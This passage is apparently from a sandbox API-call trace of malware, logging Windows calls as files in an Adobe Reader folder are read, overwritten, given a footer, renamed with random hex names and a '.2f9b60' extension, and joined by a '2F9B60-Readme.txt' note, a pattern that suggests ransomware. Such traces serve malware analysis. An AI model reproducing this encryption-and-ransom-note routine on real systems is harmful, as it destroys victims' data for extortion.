(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0154.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9380) returned 1 [0154.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1b60 [0154.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0154.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427bbe10 [0154.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427bfa20 [0154.216] ReadFile (in: hFile=0x1428, lpBuffer=0x427bbe10, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x280cfc90, lpOverlapped=0x0 | out: lpBuffer=0x427bbe10*, lpNumberOfBytesRead=0x280cfc90*=0x1e00, lpOverlapped=0x0) returned 1 [0154.262] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.262] WriteFile (in: hFile=0x1428, lpBuffer=0x427bfa20*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x280cfc94, lpOverlapped=0x0 | out: lpBuffer=0x427bfa20*, lpNumberOfBytesWritten=0x280cfc94*=0x1e00, lpOverlapped=0x0) returned 1 [0162.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052500 [0162.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052530 [0162.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052530) returned 1 [0162.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427bfa20) returned 1 [0162.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427bbe10) returned 1 [0162.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0162.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1b60) returned 1 [0162.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052530 [0162.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1b60 [0162.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0162.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052590 [0162.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052590) returned 1 [0162.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052590 [0162.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052560 [0162.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0162.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0162.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0162.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1b60) returned 1 [0162.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16800 [0162.220] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.220] WriteFile (in: hFile=0x1428, lpBuffer=0x42c16800*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x280cfdb0, lpOverlapped=0x0 | out: lpBuffer=0x42c16800*, lpNumberOfBytesWritten=0x280cfdb0*=0x108, lpOverlapped=0x0) returned 1 [0164.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58d0 [0164.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58d0) returned 1 [0164.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58d0 [0164.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58a0 [0164.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58a0) returned 1 [0164.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ebf0 [0164.304] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="30") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="30") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="bb") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="36") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="26") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="60") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec18, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.304] sprintf (in: _Dest=0x1cd9ec1a, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.305] RtlInitAnsiString (in: DestinationString=0x280cfe28, SourceString="30e630f1aceb5af13e4a2a6bbb36266c60ef1cd90aef" | out: DestinationString="30e630f1aceb5af13e4a2a6bbb36266c60ef1cd90aef") [0164.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x280cfdf8, SourceString="30e630f1aceb5af13e4a2a6bbb36266c60ef1cd90aef", AllocateDestinationString=1 | out: DestinationString="30e630f1aceb5af13e4a2a6bbb36266c60ef1cd90aef") returned 0x0 [0164.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce148f0 [0164.305] RtlFreeAnsiString (AnsiString="3") [0164.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebf0) returned 1 [0164.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58d0) returned 1 [0164.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16800) returned 1 [0164.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052590) returned 1 [0164.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052560) returned 1 [0164.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052530) returned 1 [0164.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052500) returned 1 [0164.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92f0) returned 1 [0164.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93b0) returned 1 [0164.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93e0) returned 1 [0164.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30130 [0164.308] wcscat (in: _Dest=0x42c30130, _Source="30e630f1ace" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace" [0164.308] wcscat (in: _Dest=0x42c30130, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace.2f9b60" [0164.308] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace.2f9b60", NtPathName=0x280cfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\30e630f1ace.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bd10 [0165.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bd10) returned 1 [0165.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad8c0) returned 1 [0165.146] NtQueryInformationFile (in: FileHandle=0x1428, IoStatusBlock=0x280cfe38, FileInformation=0x280cfe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x280cfe38, FileInformation=0x280cfe48) returned 0x0 [0165.146] NtSetInformationFile (FileHandle=0x1428, IoStatusBlock=0x280cfe38, FileInformation=0x280cfe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30130) returned 1 [0165.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce148f0) returned 1 [0165.147] FlushFileBuffers (hFile=0x1428) returned 1 [0166.268] CloseHandle (hObject=0x1428) returned 1 [0183.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c3d0 [0183.983] wcscpy (in: _Dest=0x4205c3d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0183.983] wcscat (in: _Dest=0x4205c3d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0183.983] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0xffffffff [0184.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e50 [0238.359] WriteFile (in: hFile=0x1e50, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x280cfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x280cfcf0*=0xba9, lpOverlapped=0x0) returned 1 [0244.067] CloseHandle (hObject=0x1e50) Thread: id = 2431 os_tid = 0x1e70 [0153.460] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum")) returned 0x20 [0153.461] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM", dwFileAttributes=0x20) returned 1 [0153.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa48 [0153.461] GetFileSizeEx (in: hFile=0xa48, lpFileSize=0x27e7f740 | out: lpFileSize=0x27e7f740*=8192) returned 1 [0153.461] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.461] ReadFile (in: hFile=0xa48, lpBuffer=0x27e7f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27e7f708, lpOverlapped=0x0 | out: lpBuffer=0x27e7f6c0*, lpNumberOfBytesRead=0x27e7f708*=0x4, lpOverlapped=0x0) returned 1 [0154.218] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9380 [0154.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9410 [0154.219] NtQuerySystemTime (in: CurrentTime=0x27e7f600 | out: CurrentTime=0x27e7f600*=132462177593458000) returned 0x0 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x3450e5fc [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x356b9212 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x2008a757 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x58f77425 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x683d2bc2 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x5659bbc5 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x2c5fb435 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x70aecce9 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x6b511561 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x7ecf628d [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x39bd6661 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x5cd08d6a [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x1c24e34b [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x650e5e61 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x1d5c8eba [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x1d3b5bfd [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x22190bc5 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x184b4359 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x1da49ca [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0xe961c50 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x70818e6b [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x4e015fe8 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x157df467 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x871058f [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x746878f8 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x494795fa [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x749e52e9 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x42c708e1 [0154.219] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x43c81d61 [0154.220] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x2e8f900c [0154.220] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x3b951821 [0154.220] RtlRandomEx (in: Seed=0x27e7f5f0 | out: Seed=0x27e7f5f0) returned 0x57a5ae71 [0154.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0154.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0154.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0154.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0154.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9410) returned 1 [0154.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1bb0 [0154.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0154.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427c3630 [0154.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427c7240 [0154.231] ReadFile (in: hFile=0xa48, lpBuffer=0x427c3630, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27e7f5f0, lpOverlapped=0x0 | out: lpBuffer=0x427c3630*, lpNumberOfBytesRead=0x27e7f5f0*=0x2000, lpOverlapped=0x0) returned 1 [0154.263] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.263] WriteFile (in: hFile=0xa48, lpBuffer=0x427c7240*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27e7f5f4, lpOverlapped=0x0 | out: lpBuffer=0x427c7240*, lpNumberOfBytesWritten=0x27e7f5f4*=0x2000, lpOverlapped=0x0) returned 1 [0162.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7eb0 [0162.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ee0 [0162.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ee0) returned 1 [0162.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427c7240) returned 1 [0162.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427c3630) returned 1 [0162.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0162.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1bb0) returned 1 [0162.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7ee0 [0162.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1bb0 [0162.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0162.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f10 [0162.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f10) returned 1 [0162.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7f10 [0162.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f40 [0162.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f70 [0162.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f70) returned 1 [0162.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0162.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1bb0) returned 1 [0162.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c163c0 [0162.193] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.193] WriteFile (in: hFile=0xa48, lpBuffer=0x42c163c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x27e7f710, lpOverlapped=0x0 | out: lpBuffer=0x42c163c0*, lpNumberOfBytesWritten=0x27e7f710*=0x108, lpOverlapped=0x0) returned 1 [0164.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a00 [0164.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a00) returned 1 [0164.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a00 [0164.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539d0 [0164.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539d0) returned 1 [0164.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.206] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.206] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="38") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="9e") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="b9") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="55") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="db") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="33") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="69") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="f2") returned 2 [0164.207] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="7f") returned 2 [0164.208] RtlInitAnsiString (in: DestinationString=0x27e7f788, SourceString="f6380bfbcdd29ef0f7a33eb955d1c4db3369ebcdf27f" | out: DestinationString="f6380bfbcdd29ef0f7a33eb955d1c4db3369ebcdf27f") [0164.208] RtlAnsiStringToUnicodeString (in: DestinationString=0x27e7f758, SourceString="f6380bfbcdd29ef0f7a33eb955d1c4db3369ebcdf27f", AllocateDestinationString=1 | out: DestinationString="f6380bfbcdd29ef0f7a33eb955d1c4db3369ebcdf27f") returned 0x0 [0164.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fae40 [0164.208] RtlFreeAnsiString (AnsiString="f") [0164.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a00) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c163c0) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f10) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f40) returned 1 [0164.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ee0) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7eb0) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 